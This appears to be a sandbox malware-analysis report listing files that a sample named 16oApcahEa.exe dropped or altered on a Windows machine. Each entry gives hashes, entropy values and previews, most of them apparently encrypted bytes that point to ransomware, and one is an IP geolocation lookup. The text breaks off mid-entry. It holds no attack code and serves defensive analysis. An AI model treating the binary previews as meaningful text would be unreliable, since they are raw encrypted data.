SHA-512:	C0C5D5A3BB04B7202F9A447546A32F728622AC6F4E412A013376F9EF29D2CFE8B19A40FEC102B65A60CEB95369F584D1288E92969C7139E32E54B5564A64812F
Malicious:	false
Preview:	CMMM .s.ooV>.[._.W..3=.J.t2.P......."w.}.0mD.O~.e.]:a.7&..M7%..u..0i...a..; N<..P........:...Q91P.R.=$..2...jb.(..h\..^.....7.9......Q.<-.....@%......]e.sxv.P...t..k.7MQv_o.)s.../.........1....^..z...,c....?F...+...k.t...X.N.y.. \.,=...`...~..E..[E~.p.S}'{.S.g<...?....N.xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\Explorer\thumbcache_wide_alternate.db

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	358
Entropy (8bit):	7.276144514997517
Encrypted:	false
SSDEEP:	6:i+taBklqR5XJM0BcNS0KsypU8nopL13L0rDmfbbo6v1msam9Hs2xcii96Z:i+I3JM0BMOUKopL13L08geQpm9M2ciik
MD5:	0F6E02631216AF64D3C4560D242CB7BA
SHA1:	3F3B4C6DB3908A0DF64A2108E9E89FA65771104B
SHA-256:	5737FDC46BBE0AD9C0CE56C580239C8E0A58D2DF630684260A71F3049839B6D3
SHA-512:	3BB18914C025E80F993D0EFBB494A9EC67A25CC396183E57EF08C79D89B36D25F562B6BAE51F355AA22F7BA9C9A278DED4C0AA461A453EFEA23B1F8411ADA66A
Malicious:	false
Preview:	CMMM ..U..X.<z...-..[..]...MUw.\eZ._...H......`...[U....Q.0.rb.....@..b.V..H.0.T..Xs...r...VZ.*..6g.&O.Dk e..V@...'.QS...C.@I.z..B:.K7.+...)....<"....B..!M..k?..J.Q.W'M.\|.5'i...Q.....N......$..a...Q.$.....4...A..T.{u^".BSf!-#...mpz$.y~..W2..:.#.wa..j....;j.'....G..B...xcdIdDNFh62dy3iJsba1COhcfDENsbjPHQQ2Eht1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\geo[1].json

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	412
Entropy (8bit):	4.648516537763437
Encrypted:	false
SSDEEP:	12:YdWqwpHEx6useCtrESQVctrESQVzR4heQ3htrESQV/m0mQP2JSnVR:Yd+HD+CtrRQVctrRQVzRZQ3htrRQV/m0
MD5:	43E741B13DD998BA15EB08C0067B1B02
SHA1:	B3B400FC5B44519D6B13D37EB0344B5927C07F46
SHA-256:	19D96377F9AE782D3A4BC8CAF3E63A6C30B537668B6876223D95E4CEF88100DB
SHA-512:	C3F6B830D8AD853EE0A854062CA52E848ADD311541C64F727D16DAB995064BD59F9F8491B0BA90D274314FA9D58A6B3CD34AA8D734FDB110E0EE78E29446D83F
Malicious:	false
Preview:	{"ip":"8.46.123.189","country_code":"US","country":"United states of america","country_rus":"\u0421\u0428\u0410","country_ua":"\u0421\u0428\u0410","region":"New york","region_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","region_ua":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","city":"New york city","city_rus":"\u041d\u044c\u044e-\u0419\u043e\u0440\u043a","latitude":"40.713192","longitude":"-74.006065"}

C:\Users\user\AppData\Local\Microsoft\Windows\Shell\DefaultLayouts.xml

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	64281
Entropy (8bit):	7.997326406392164
Encrypted:	true
SSDEEP:	1536:S3dz57YGnh+wIALJAQgcFO/3Dm09LmsILuz:S3dzdYGEwI5QgrLJ9NILk
MD5:	5DFDC4C892ABEC80701D4C73F3CAE702
SHA1:	A89C4919546CB1372A5EBAF9E0BF86068448E0A9
SHA-256:	49887B48E3297E92D3FB1A1EDCE3FB062609C98C079B5F0FFC4F3B2B1E70A3F4
SHA-512:	899DA1EC1D158CAA8878525AEDDAECF51C69156ED7BC126C029F736967590FE853EDDD23F6957862A6F55849A5E3DE05378894375E5710F09A24E16DC167AC22
Malicious:	true
Preview:	<?xml._;.;w..?........fR....z....x~z.C:.9A.at..Y.Y...sj.q.$c......I.....g.`rn....XmX1..M..AU..b&d...M...P..u.m!.:.`.&x-....Xs:_...I..F..@.../.$w..Y.Q.l%.Y..y2...m.D.:.S...,.....i24F.-.....I.~..T...2~..V4....urW.^.4K....;d.uqfP....[e....F..V..&O7A.f.e....H..........P.s..s....k...FW.S).&.p....(.q.....1v..#)...R.M......1.p.A.n...1...L...%..N..r.a..7@I..P....P.?.......^.?,.."`xE.-...G<.......m.@.h<R..............$....f.Ra.]..7.._)Cy%.a.~.......xr.M....}.-.iw.....P.....}.l_...~.i`..q...&....8...Y;=.X...Z.z.]%..I.(...Z............(.A.s.D/........q.#....5&].K&..P?..j<1l"...He...\|..>ry}C1...(...`..T7.q....Do..~.?%.%L9.5J.sbKz..&0M..h.-;.8...m$.J[.:.. m[.U..U.......YR....f....\A.[._...00..o..0A.r.>.T..9...%'..E.^..Q.....nG....T ......?Wk#..a_$.2$...(..!C..Tq..R'..w....sLk..j.H............y....r..A.E.C.V6.............pa....+1."b...,A.f.Y..v5.w......K...c...Bc..&.?TP......0..R......>c..a..C............~...W...f..K.YQ..M4.t.p.[;..?8.

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01.chk

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.979061383388592
Encrypted:	false
SSDEEP:	192:DxJc4wbRNCVWwQ9s/YncfjpN5s9dZh70zQ7uwPEtA:zIzC9Q9kYgDGnv7uwSA
MD5:	96039E83EF41FD7A4661CF9A9AE56B43
SHA1:	839EE1368AF42ED80FD0ADCC331A96E2727021C5
SHA-256:	983203516C2106303B4C9DA0138DFF06365F2F7455E6FB0EE63680EABB14F712
SHA-512:	C899A5E5C4A0BC6EADDC0F19052ED76E80547F37D194A14BD825A578024E767E45E41521FD9FDFED794CFCC2E794515893DC8B599E2F09A4416B3704C4E84C64
Malicious:	false
Preview:	.....t-..9..)Kj$uy(qr.Y{1.....Z..(.>..Z>.H..H.].+.k.$.@.G:....&Ke@........&.G...\|K.. .........8.....?5..h......k.l'.C.,.S...Y..!.k...[_R7..M..5.....t....1]..h..3.}.,.............D..$T$...7".>kq.H..d.{$..qby.+..1GX..R.]..W....~H...`..J.?}..[.s(.....~4..z5l...\|gYR;......'..)....A...Z...........)."...........4.....b...tI...Pj>X.8..1.)U).....<O.q..R..PX./.(.}..a..........B&._[.b...R....f..P....N_..!.....;k(<z2.8J...z.;.q..g.LjO.......R....a.x.0[...>.L..&.F....U\|/.k.0...XQ.W.x.I+.+....[.c.}.q.v...w...%._.4...h.5.....9.E...u..z.g..;.c....Ca..Z.p..)N......>.....%.90wv9%)6]V.OXg`.)........V..t...'.l...Y....Ar.^..n....)/.t...`..Z...m........(.c... ]!..+2.#+.!.#.......N....#..N..Q..8..".``....?.P..C.j.........i.Kf.N...o.. ..\:..Wz.C.e^W....IM.~....Rd.1.MY.V/..t...l.....AB.?.O.....!.K4O.u.m....V...X.s.6m G]Vf.h.(..i........F........y.,4....W.d.59...zRlg..x^.\|...z..m.r-/..1.....d..2.6y..!6..Wu1...n.D...4.J.,m...>...^..p..'z....( .8...]......

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V0100005.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.434040783658866
Encrypted:	false
SSDEEP:	6144:uRl0Gf9wO1ZrCd/aba8dSKISsUFvCTyUPR5ABk2BoPnEc/qjTA:Ef+YUFaGopiyUZ/qw
MD5:	E9DDEBF7C3521B5142FFF19B5EEC6837
SHA1:	0179F9319EB9FA43A74EA0E8CAF7B8C7C6BB3A67
SHA-256:	695F46180BBF4C4A32BAF4B765EC725AF987420DDEA30BF496CE6EFAED6F92FA
SHA-512:	9A66219E68F99FC5F0892800C16B8F11A67F0B1400CDDFA1E8E797453D6B862A9BA492C840C59D9F800A60D6B30B4D6BC22640061BFD0AEA61961649A3CB22EE
Malicious:	false
Preview:	..8....v....2...~.R&f...].t.[.........p...,r_5>Ty.. (.....4.......n6. ....+.....nB'13...O%..:..n.$....(...wW...9.xX._L.>...h.I....=z...! ....l.##7..p......V.L]z....h.w4.J.[...:Lh{K4^.....e......Ouf./.,.T..PN..%..=...t...OF....D.?....l=.4.tJ.7D.....d.a,\..X..n{.B..\|.M....4C.i....#...tY.~...jrC.~.!....MF..............A.0.].%.m.C.s..Hn....I.........G.N7c`t...Wb-.3J...j.)I.=_.g...r.Z).6...}-YQ.......1\|B.B".L}?...L.VeHpx....A.`A.(..R....U......?.E>.`.?..7K.=r.$K.n.-<..1...7.z,..........[_.6^...2. D..0.aD).......?.{..a.J.....zi.....M.S.Y.,..\.i=\|....t.4.K..$BD...9..e[..g~s:.iH.$}Y.Y.5...[_Bc a}.{n2...Pg'\|\..F.......>..`ww.9c9.y.H1...4.}..B.{.....\|544......qk.o..V.8...!.O.;......R;..H.]B...y.m.C....!.xeKU...ze.........O...>..p...{...N..{.....h.5..f.m../0../.y..v.\|....-"p.6C...L.hH.@...a.\.W.z.'.&K...d...5*@S....nS...}..Y.../..+......g..#...n..}..D.aK..G.,..8l..-6..........k...c...\|i\.<d1I.TA.-...,[.......FQ.d.%%$;...J.Y....Y.KX.&6'<...$.n....`s

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00001.jrs

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2085044166716408
Encrypted:	false
SSDEEP:	3072:cQRCl0PK4Z+oaw5MwsAvDyxIpdEB1BxvUnACSXSXxdDrl8oe2Tr2BKw6cgqmg9x+:cieA0oalGGTxvUnhSXSf/22w5Dze
MD5:	54E7A366351CA7C760D2ED5AC2D3D6FE
SHA1:	E32149005470398771331E80E5384FC0FA3A5A4A
SHA-256:	FF4CD9CAFD2FA3DE74C606A9436F0FFEA2DD84C03432BA240B371E372BBC3B2A
SHA-512:	2332155E6297778170DB2840794392A7CC674A58912AC3F57159DAFCF4BB6C116374ED267C23D0F65A2CA7E8D0A01CAB9B69590D1764197CC1F705D0B18868B8
Malicious:	false
Preview:	.......h.tiU.0\|.F..P.m....\|I`.. ....6.....&&3.X...0.__>..=..._.!f.'.f0.....)...Q.%.G....f".O....G..p..-....k..W.......CTS..T.E.dP...3....u....Q7l.pQ...'...ixW+..Z.."Iy.....L.~9.A.y>.p.:...p...I.V .K/..U't"..Y..5....%.S..]..D..<...&-...\...4.B...9..R:b..)>.........G..=./%.@...y..si....b.>r .?......F.tX..L........4..kW.K..S....8^..bD..c[b.....D.4....E...I.a(./.d.F..6.0\|qE..8..K.RNsR.]..+9V././U.Y..mx.iJ8.T...-..= ....2K.#.@.......R .m@..3.....d.3...1jO.....j.q...K.Q...u..?..-.Z..m....,c.%>.2...d..9.......E`......u.?..>._..gr...\|.W/....7..q..b...9W..^7..(.f...I...D E...............0....}"Y..0.&..?-..+.\|qn..y..%...6>....aD....V..i.....;...=4.B..f....[$..E.v....P\|...P.@.n[..w..Xt...-...&.?..w........}..[V.Jj$..).Q..4j-^..............C..."..w......)...c.:....c4#...]....5X.d.y...:lz....K...n..N.-,.....b...d..."n...>)f....+}.b..,.R\|5y.........<...5.Z....:...../.cW.t...?'$%R.P.{..s..aY.C......}........F..mq;..18w#m.V._. ..>

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01res00002.jrs

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	3.2079075573524114
Encrypted:	false
SSDEEP:	3072:5HIboBAu1t2B2qeztEr+txKLx2Bv0/Dwnf4WutPAztWQ:WboBVH8mxKN2ybRbtP8J
MD5:	1B845376A2025E0C6D96750F3FFE6449
SHA1:	AAE8FDE6B795E8A44BBCF6723C13E3A0DE691116
SHA-256:	0F7E47AFB45EA4C0FED66B784542612C7674DEF0825457D22BA597A8708E2DA7
SHA-512:	EC4220C23B41812FDC27FE7D0BBB73FF44D376FB58A7676B46E804F81552DD09B7F0CBA1132B96CC4F5B73B74E1F98845D8493A8E892976FD8E1A0FD4F1924C3
Malicious:	false
Preview:	.......dr..G....hg....\,...O.cq.C..x....vx.e.2.". ..t........:..v?.rWxX`..o.C..b.]....e.g@!..D0.Z.m..Of.!....r.]......&.D.i.z.....L.>..+i....4..H.....K..5..~4.R...Ng..!.EqI..c.....]\#X..C..jd..E..l$j"...X....:E./lh....ieAOh.)Y#SD..cL.Wk^.}-.....8{.o....k.........5....7..ec.JF9.$........,....i...<..."....:..^;.\|..W........-.M=oI.8.?8i...SUw.%..f`..4&%.t...}..N.j.@..Br....Z........k#5..4Y...m..J.w...;..X.V.7.A0+"..PKr..1.J..%f..y:_..l...KG..].....H........F..l..+)9....%...a.X.T...s:.9....T....}.j!..$m.Z.9a.+K.{....J.w23.te0.\|..`H.VBP..+.G...Dl.......$Uo..v.n..W.5d.......:`...Lo,.l. h..a..I..2..%..;I.4.@.(n.ic-3....C.L.O}CH.&...T..m.....&.@.R....a......>,G:.).`.T..XrO7..,eU.`...@o.&.}.t..45.j(.@B:.n...?..t..{B4.MN..B}..5.\|.....\._.y..a.......!!F.R....]..W.c...ya...N..0.6..!&<.L..y.1q..zn.e>t4..-......y.y..).'.....;.....h~.m....q.7>.%......;..F.F.l..DN"......N..~.@..5i.bG.....4.X...2~..x.a....Za..-.,l.Q'?^]...1...B...,)........Z.a.).....Q...K..

C:\Users\user\AppData\Local\Microsoft\Windows\WebCache\V01tmp.log

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	data
Category:	dropped
Size (bytes):	524622
Entropy (8bit):	6.198304969436213
Encrypted:	false
SSDEEP:	6144:gQD+oyhgP/HBBkIua1Iq7mSBE1Mxc0+qFJaohDNdrjBmTu47OYPRUVRnqdKgaFf:A2XHwB2kuWetYRw7bFf
MD5:	DE8F404AEEE2FFF18AF3C077DC7C52BD
SHA1:	17AACE8BCDD5594561D4092CE252994DBA24A64A
SHA-256:	21838D6B43FF51E1506B7E222339ECD9EF3EE28AD46D7B7E8D2647FCF085CB0E
SHA-512:	902F3050990F4B7B1B58BDE96C9226BC9B990E6288A771A90ED13FA0CC99BDDBE985B408E32EA9B51EE2BBBB39E737CAB068325D464C7216297CE03F9DC611CE
Malicious:	false
Preview:	.!......4.v.F,..R.B0..0j.?>.p.9.....L........M..h$..m..wu2.......C.....Wj!.f...)as...B....F.WY.b.tY.K.\.'u."&....,.r....$.,....u..phB...B?)'Zal..`z.'a..8..s...an..J8..^=Y...A...e.......H.F...Iv.C.=.W.9.z..,.....u.+J.k%..pk.2.h.._7....v?..2....+.<$..b].?].X..f...n...C<?..~....".MF-....}..L....C}...%.)i$Y.rl.-.k.l....$...A...d..i.-.'.......XJ.....D....K..].. .1EX.v..>.p.....!.2.0.w.8E..../...'..Q..ua@6.8b...hC.....c..U.e.\.m.Y{..a}u[.M..).._.4). .#.._G.R. ...9.V /-.A".)N.P...+./H..>.{..D..-;.....%i.Z..O}........f:7h.....O..VU.8...8\.0`...,4.....R.1......!eMe.0.....(...H...+..i7". d..?T[......6.R.D....w....2j..y..@.i.......tv.ZhO..+..=......-.....]..s.....JL+h.2j..".s.....;.....M.c]5...8.....d....>R.~....jX$..bf..o4.oB...^....x.H.....m.;E.=.n...h.z..=#..g.....=.9..*W\|.o.G.[f....H..f..`..w...X..F...N...C.^...WM?....&V...".T.D.8..../;..a.t.1..GNu..\|.&.UOmt..........A. .o.-k...sZ3.vH9.;.K.........J.`3..t.V.2..yV..Y.?.:..P.:Z.....D.c.!.-....

C:\Users\user\AppData\Local\Packages\1527c705-839a-4832-9118-54d4Bd6a0c89_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.976979626560909
Encrypted:	false
SSDEEP:	192:x5jswMUvv+xcwPmxkjDFZfgH7ZU3pGY4buA97qVLkKbzXKWCzZ70wrR:xddvv2cwT+bZSV6JqVIKX8N70IR
MD5:	54333CD7435B659BB9DA0B2CAD510C1C
SHA1:	BD439235055B33E4EAF9B670B7E226A37A36898F
SHA-256:	4ED4AF24FFC44C7CECF1C46C6623FD77C23E5E52DD5EB4D6C5C5232392055EC0
SHA-512:	309955750F8620F7AF3FECA09858A462E90AB1AC72328AF483C437A0ABB73D92C1F6FDF0D76A0F0CB15855362FE76F56710AE5E40779B11653FED064EFA43B09
Malicious:	false
Preview:	regf..7....`.+^..Dk.:...Cdy.xt....~.].N..7..q.:...-..<Fu..C.....EtE...Ob.o...,..#.....2....eQ..Q./..{.g7"G.c.".<.........7."C..g.N..R.nPP.A.3.....N.5.-j3X..5f....:.\..f....S.7..,P........d..r. eQ..a...J..I.C..t...}....a.^.W.?.].8G..u.,.~.W%..AF.dD.`....P.....;}...&..#nu..!0.3.....W..Q....G.d.d...3.8..-.~tIo.{B.3.E..g.A.M....gP5./W.p.>......P....q....w.&R.>t......X_...-..s..Q.C3..IH..G..}..I.....1.....k_.......%...\.d...J...d.bCS.N^..a...4.1.........+....yr....n.............`..?....//.r... ..i.)R.....O...AZ...nNC5..."...dz..P.k.../.[H.%....%a.I...oK.,.....o .#..^4b..(x...@%?.,....}..3..HV...B..&.-.....+..`_4......7=.WH.G`.q......ED...#.(..A.....'n..HW{.....l.?..0x-.....l........kmP.n .L..?..o./...6.T..V..^r.{O.E..{....<s.........&.VFi.P....M...y.$24...fty.P.-kx%$._...e)4..v.bp....~....;...s.n..\...LWJz_.O..q;..N./i.z[{\........9.B......1.%K...A..8.K>:.....&..6.u..RJ.(JL.....^4...P..r.8..c*.....D.."..0..Vw.^.i.q..\|..$.c...

C:\Users\user\AppData\Local\Packages\E2A4F912-2574-4A75-9BB0-0D023378592B_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978296655355567
Encrypted:	false
SSDEEP:	96:sDNtcdBSzSzo1aXR/7yPvyqMStGV8PiWNtl3zqCWjOX5fW/nj3cL3f+Zq6O2AHC:sHdaBOPvyq/40zqCWjyq+PcnO6
MD5:	EFA5E0FF75AD05941DC8AB95F0B807FD
SHA1:	E637665C1307E4609A96A2173C3F26C33F8AD301
SHA-256:	AB4888B4C8B7C223D7E8E7F085E0A9E850D7AEA10A2495A66E479821C5968F95
SHA-512:	7ECFC8FAD3FDAD14C6A008807030DC1804B225FE14B4BFDE90A3C5E18DCBC9E1AC1C615BE359EEBA21B908AA31F702088B914E7A1B48B2D4EE8EFFECE9659C3A
Malicious:	false
Preview:	regf.N...+.&.usm^D-v3...MN.l.f.?..MUx....o....O.]..se......i.C..y..J.1...m....b.........T.x.(.=....W.....p....xBsK...5^....a......2.`..cH...Ub....rN......m....C.j...b...>C..p.;.'...6..&ja.H%U.l...P....2b%.....=.....l.....m.........)..`+S;f....$.J.p>Y...x.:(>..)..M.n.POq...4-{..z.l6..1.C.s.._.P..}g........ZP.'...d..$.....+.W..9K.1.r.8..C....H-..Fp.`.H..</.rQ..3.....^..^.^..,........H.R.5.AV8F.LJ.QV.:q.?..=... ......sh....."..;....z.g-..X."....:.N."...)..H.%:.I....G...f./._.%..4.....u.bgM...l.9p..z..o.....4...u...5....ou.HEw.g..75GF.P..>\|...SC.6....V..V..$.F. /IPyq..GoS...%H:6.#< ...m.f.U_.?...c.......W.xa.#.$f.?..._$..Z\....A.N....8.U....h..1..PUk.....l..\|..PCE...7u...L...I...Q.xJ.,] :..n'.,....=.....gb.9w..'^...: .uB{.sbL...[d0.w.d.l..o..).E...2....N5...p.........Q#.!...j.....W..'&!B........H*........xU..E..).D...k$.G....v...J>.D.l...S..Er....V.!...q.)Mp_.!....k.{......=...xJPu..f...w.T0#..v..bT....=.k.},....{........=VS9

C:\Users\user\AppData\Local\Packages\F46D4000-FD22-4DB4-AC8E-4E1DDDE828FE_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.9765853348230396
Encrypted:	false
SSDEEP:	192:vU9nHDk9icdcN3OTyl0UUEv6RFSIgxbg8srKa:KjqLcNsyl0UUy6Fkgea
MD5:	FBB920AC0CD506B9D71313B466595FF1
SHA1:	EA1D4C38078ACDDF7B7052D3C0621DE48CDA25CA
SHA-256:	0697E0D61DB20B0AFE307C89AE699453540ABD2F55617239B28BE99A471E78D3
SHA-512:	0F337A1AF9B67133396E3FED8C5A12D9E13B11820CC207F71080E2BDA7294E1E30F5AC6B53F6F03CB65102F47E79ABA39D9036B8380CA614A7AA743413C1E361
Malicious:	false
Preview:	regf..DDM.....Y.U8.[....RZJ..MC..XX.(..Wj...ZZ....3...\...]...WV..8K...$.kK..Z..F....a%\t. K.6.3c6..p.k..+j..."....kwB....'3...;...%.o..e[._..F...[..U...9!..Msz..N.9O......s..K.gX.......(R]G...)....L.>...3...A..@YLa....v..[\|....n.{.../.z.....$V1:>..E..?.....S....\.......mI.......#..Y..Z..`.5.I.Y.~...8.p.0..QJ..p.]N.rP...`bl..A...bh\|......K..........W...v(.&>..d.D.{..T.....c..j..O4k}0..;P...b\|..........e....cE...1....Hc.f..}.\....:...)....@cX8....H2..;.y{..0...c.....rCB.<......'..Yj...8.Ew\.f.o..$?.TE.!.W(.!:......x..g{4....M.@E......>..k.{.1.z9r..+.....NxU..F.xe.{..Z......'\.x........0...?.....%...0~......$Jc..L`y.0>L.h[.N.7l.B.Pg..X...:.........T.R........4....!XR.C....}.Y_.`..RaK..^\|6P..?..9o....I..#q...QS..X..8.ra.3...cYm...4.)...}).w...*...f.(..Q.~k..._B.........q...wA..Y..A......c`d....c....Bk.>...........w....=.r......o..j)...9.(Xt..%..:.@.@..d..b/n..w.k.......4].B...@....<K!..#.......]<.....4.....-CD}G..bs.....=.fa5....QX@..LP'.d

C:\Users\user\AppData\Local\Packages\Microsoft.549981C3F5F10_8wekyb3d8bbwe\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978607409682155
Encrypted:	false
SSDEEP:	192:BmloBAG+Uh0OyaEjcZ3tRUulGNc0LuQN+gM:Co5vy/jcpUulauzJ
MD5:	6004E5172E9D30121D1132C055373CC3
SHA1:	E91363D81453497B8FCBEACAC17C8FB93CFB7486
SHA-256:	485E7F8235E6B0AEDB58F14699FACE4796F24082D04376698EE30B5B4CE6A805
SHA-512:	604701C1415596AA6F153CDAC22B85326627A18C6324C09893D25A0930F84767F05FFE86C9FACDB2AA24F685E197BA19DB13938020BEC1705AD0381FFD8E6A32
Malicious:	false
Preview:	regf...&.......%.{.z.;....yO\|..Q.0.Y3......",....b... 4..h.&DE...I+L............@T..0wP...4...AQbQ.S....Wd<;Q%u.E.L.n.p#6G.f!~tD..........(V...I....2o...v.QI...H...yo.8.~"..(.2.L......M...!.........].....{...a .e4.$.f...........F._.)...8T...;D.4..*.W.y.3....6.(i!..lub^.:...P.oQ.&:.....X&;.%.S.@d0....d...ie=`..pt..........i.Nz.e...LZ........@..v#.y9..l#......k.nD.YC}.L...;..-.9..(.....3....(Qr.MP.^...$....J.....z...`..m...0...v....N..%".....C.?F..j.{..2.....!....D{.R......A-..@A?e]..b...1M....+....'T..~..C`.uB}L..#N{\.4K.<.,....`Q\|.O.7..yA`......l.....@..>;V+.Z[Jw=;..T.\5.....D.../.N@..T.` ...z.8....c.....0J..._m..._{.C...f....v)......dG!h..3..@...Pn...$......-E+.&...'...V.FH........w.....p...(y..2..y.B........iXl.U..t...P..fI..MO....:.4.....`.W....:7..#d...........g....>.a.j..3..q...,Y}Y..X.......]4..fg)W.j..L}.}x....4...l..kZ5:........U.A..v.N.]_.~ ......<.1.q...af....~.P4W.%...W?...k..r...2.g.Px......O.4Q<"&0.lD....".\.B...U..

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.978098418504233
Encrypted:	false
SSDEEP:	192:9H0/IbQEOGKroMH4OqOzhaxBmu1vWCqg7Vx6MC:9H0AbQA2JaxB31+Cq2VxY
MD5:	818E00EF6514741040771A700AF63A9C
SHA1:	6F5C3B7316766FA1170005265C0973773ED37835
SHA-256:	73ACA3582DDBEE44D153DB900164FD2FAA20C7A3CCE6CB2680D58AD2C0BF2CEF
SHA-512:	4CB130EC4050B620876D91BE5C7793CACEFB5B477407242BB53A69A7440603A50ADDD04FBE0CF96B37E767B4EFABB00257214E5C4EE4B1C0F0B339F0A2836C00
Malicious:	false
Preview:	regf....i...N..C..<ad..!....x...iz........-.._.E5T...hy.8..F..`.K)b.=....NH....+..Q..,..N/..]".z..._.:yg..f....yj.3.n...~.`.u.x.\.q]...v.I..es....GL7.'...+tL...f...<.....+.g.[y.......\|...fg.R\........!...-...,....E?V..H%c.m.......GV.."..M.}}J0..Du"...Ur...n.tI.3.mz..A..1d............z......Q...s,>...._...J.,..R.H.>.7..^...v...x7...r.F.n".R...oE.2.W<.....0O).....]......CYG.D..38:.....(..t..c..pwR[.p\|`4g...T..[?-,...y...O..f...\..a.!.;cT.6...M.7...aUT.8.@8H....2..;.M.L>.:kr....]A..A.I..3....^..t....xa..g.~..y0K\|..G...5..v...Bs.~.\|.C._....0...s..3.W.{.L..>A.ja.....A......~...e.IX....0..0W..B.s..^.../.q.b..{~..L.D.eD.[(2nLw...bg..Q...;.c......;..&y.~k..W..<>w..f.1.......:.D....M...=.E.).......@9.M...Z...........Z...y<.Gu....I;..-+.3d.....a........N...R.K..G..#b...Wk.@......(.(\|)(../.........cB.......?.......<#..M......-_y&$(V..Q.z.r.r..zi.:...D]`...O.'Y......V.0..G ....1).......r....aw... .2.o'e.O.2M...4.Z(.5G+H]."...Y.....@..ur.?l..E.4i.$.\.,*.

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG1

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.977288572886864
Encrypted:	false
SSDEEP:	192:+ZM6lEr1hBR4aqtnuDKAIEoYhHC4LMV+8uiFSg01X134ViK4Udhd/oMdf:YM6lEhh/4a0uEEXl8v98asKBDhoMV
MD5:	DDBD810F7BCCED07740F4E525B14ABCA
SHA1:	B1D3DD4AB4326F7CE0947A027DFDD63CC303FABE
SHA-256:	2909ADE032F7E6AD810E1E081E2DE319CF482680F1C31A2F15AA1CEA6CA19709
SHA-512:	FA8DEAD65E9DEA06C2D2A0BD5604C08EBF7B942FFC982C0FF9E0DCDC8CD61DFCAA6F5B91F336013F11EEDB3F6E050D58D011291A1B2FF7847B386CC0CB967F1C
Malicious:	false
Preview:	regf..E+Fl......PI`...M..W..n...?..e.K.V..L<0F{U..`..W3$$...E..+.R_)YHi.N.H.i.."....v+.E..5...............{.?'..H..y. .........C.odf.eJ.d..........Q...Q..".Y..L.K...q4.v.....V...:.+.Y..Cd3...].Fw.D.;.....s..t.C.;R...bP...~t..a3.....o.8M.h.H.gQ.JN..w.wQe..".R..xU..<.2#T.G....-m X......G[..N.^.$!.N^......3,.....tI...\h..y..n.f./..^W.1[.\=..8.B2...G.?..T...$.UA..N..I.....c..K.!.....pD.;....@.&+...!..G...cF\|,.1S....j:.....m\|..g2..K.0.4[.....&R,).x..q:M .i...Nww_U..R!>....w.M.oa.u....A@..f..\|..6\].A....&Ui.o.79.Qh..v..K-.`.rtBQ(.W..ou..b'.\|.d1..^a..S......_w...G<..w?..%+P,.(....rz...h6.v.[,^'....C...........'L.Zm(68S.{...~.>rI. .y...E.w..c.....2....T..3...t...x..L..yd.P......7..$...8..h'..`7n@..f..)8).<.p.J.5..%.!.c..".._..]...G...)P..}.T..B.....K...&...*.Q..........bh\......\.\|...%.X.....>..68I.+........W.....H6.#....YM.'A.k..g7E..w.W.mZ`..l...0.4...pT.%4.....\|..\|...s".......Xq]hRW.2.k.FF...>s.D.2C..5.9.....e.....!..9.aTS...!.c.Ad..m..R...A.

C:\Users\user\AppData\Local\Packages\Microsoft.AAD.BrokerPlugin_cw5n1h2txyewy\Settings\settings.dat.LOG2

Download File

Process:	C:\Users\user\Desktop\16oApcahEa.exe
File Type:	MS Windows registry file, NT/2000 or above
Category:	dropped
Size (bytes):	8526
Entropy (8bit):	7.97990104985057
Encrypted:	false
SSDEEP:	192:y2I6J0HVeyvhVz6S6dHoOwRKu7a1e7YJOHY4riSZi+hxE:6c0HVNvhB6S69oOFu7aIu+hxE
MD5:	1C08DD6BC123AEC73C95E83CACB6543C
SHA1:	CEB7B55ACBD9D51438C9687952AD23795DE70BA5
SHA-256:	40AF3D3328E69C1E9C20673333CA2D281EB66BDD094B366FBB7A24C712980F19
